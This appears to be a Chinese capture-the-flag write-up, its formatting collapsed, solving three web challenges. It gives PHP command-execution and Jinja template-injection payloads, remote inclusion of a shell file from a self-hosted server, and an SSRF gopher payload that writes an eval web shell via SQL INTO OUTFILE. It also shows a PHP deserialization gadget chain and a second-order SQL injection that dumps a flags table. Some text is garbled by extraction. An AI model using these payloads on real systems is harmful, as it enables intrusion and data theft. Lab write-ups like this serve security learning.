hello_rce查看当前目录print_r(scandir(.));print_r(scandir(dirname(__FILE__)));查看flag文件call_user_func(passthru,base64${IFS}flag);call_user_func(passthru,tac${IFS}flag);新东西输入:{{lipsum.globals.os.popen(‘ls’).read()}}输入{{lipsum.globals.os.popen(‘ls /’).read()}}输入{{lipsum.globals.os.popen(‘cat /flag’).read()}}让我看看连接肉机ssh root172.16.17.201 -p 50101打开心怡的文件夹echo ‘?php phpinfo() ?’ shellifconfig或ip add查到内网中本机ip是172.1.1.9用python打开9000端口python3 -m http.server 9000尝试远程包含ip转十六进制172.1.1.9-0xac010109包含文件http://0xac010109:9000/ashell网页源码查看器输入dict://127.0.0.1:6379/infofile:///var/www/html/index.php都被过滤了输入127.0.0.1扫网站访问/internal.php输入127.0.0.1/internal.php和/db.phpdb.php似乎可以用创建html文件似乎可以用这个和sql数据库交流得到MYSQL的信息发送gopher://127.0.0.1:3306/_a返回报错说明gopher协议有戏bp抓包输入payloadgopher%3a//127.0.0.1%3a80/_POST%2520/db.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252074%250D%250A%250D%250Asql%253Dselect%2520’%253C%253Fphp%2520%2540eval(%2524_POST%255B8%255D)%253B%253F%253E’%2520INTO%2520OUTFILE%2520’%252Fvar%252Fwww%252Fhtml%252F10.php’%250D%250A这个payload被进行了两次url编码原本的包gopher://127.0.0.1:80/_POST /db.php HTTP/1.1 Host:127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length:74sqlselect?php eval($_POST[8]);?INTO OUTFILE/var/www/html/10.php第一次编码后gopher://127.0.0.1:80/_POST%20/db.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2074%0D%0A%0D%0Asql%3Dselect%20%3C%3Fphp%20%40eval(%24_POST%5B8%5D)%3B%3F%3E%20INTO%20OUTFILE%20%2Fvar%2Fwww%2Fhtml%2F10.php%0D%0A再编码一次得到目标payload原因第一次URL将URL中的特殊字符进行转义以便于传输和解析。第二次编码是为了让Gopher协议能够正常解析因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符才能被Gopher协议正确解析。直接10.php连接蚁剑你已急哭?phperror_reporting(0);highlight_file(__FILE__);classEntry{public$handler;publicfunction__destruct(){if(isset($this-handler)){echo你已急哭;$result$this-handler-handle();echo$result;}}}classProcessor{public$callback;public$argument;publicfunctionhandle(){if(is_object($this-callback)){echo哟不错嘛;$result($this-callback)($this-argument);return$result;}echoProcessor::handle() callback不是对象!;returnInvalid handler!;}}classFileReader{public$filename;publicfunction__invoke($arg){echo加油啊终点就在前方了!;if($this-filename/f1ag.php){echo666这还说啥了flag给你了。;$flaggetenv(FLAG);echoFlag: .$flag.;return;}elseif(file_exists($this-filename)){echo文件存在但不是目标文件...;returnfile_get_contents($this-filename);}echo文件不存在!;returnFile not found!;}}classLogger{public$logfile;public$content;publicfunction__toString(){returnLogger output!;}publicfunctionhandle(){returnLogger handler!;}}if(isset($_GET[data])){$data$_GET[data];if(strlen($data)1000){die([-] Payload太长!);}unserialize($data);}else{echo提交方式: ?data你的payload;}//Hint: 目标文件路径是 /f1ag.phpEntry 类__destruct() 魔术方法对象销毁时自动调用检查 $this-handler 是否存在存在则调用 $this-handler-handle()Processor 类handle() 方法检查this−callback是否为对象如果是则将其作为函数调用(this-callback 是否为对象如果是则将其作为函数调用 (this−callback是否为对象如果是则将其作为函数调用(this-callback)($this-argument)FileReader 类__invoke() 魔术方法对象被当作函数调用时触发关键逻辑如果 $this-filename “/f1ag.php”则输出环境变量 FLAGLogger 类干扰类没有利用价值思路销毁unserialize($data);触发__destruct()$handlerProcessor$result$this-handler-handle();echo$result;对象被当函数调用调用handle()$callbackFileReader;$argumentnull$result($this-callback)($this-argument);return$result;调用FileReader()触发__invoke($arg)关键在于$filename/f1ag.php,所以arg是什么不重要?dataO:5:“Entry”:1:{s:7:“handler”;O:9:“Processor”:2:{s:8:“callback”;O:10:“FileReader”:1:{s:8:“filename”;s:9:“/f1ag.php”;};s:8:“argument”;s:3:“arg”;}}?dataO%3A5%3A%22Entry%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A9%3A%22Processor%22%3A2%3A%7Bs%3A8%3A%22callback%22%3BO%3A10%3A%22FileReader%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Ff1ag.php%22%3B%7D%3Bs%3A8%3A%22argument%22%3Bs%3A3%3A%22arg%22%3B%7D%7DShadow Archive System创建username:1’Bio:1’ID查看3报错说明二次注入有戏创建Username: 1’ select 1,2,3#Bio: 123并访问创建Username: 1’ union select 1,2#Bio: 123并查询确定列数创建并打开Username: 1’ union select 1,2,database()#Bio: 123创建并打开Username: 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()#Bio: 123创建并打开Username: 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name like ‘flags’#Bio: 123创建并打开Username: 1’ union select 1,2,group_concat(flag) from ctf.flags#Bio: 123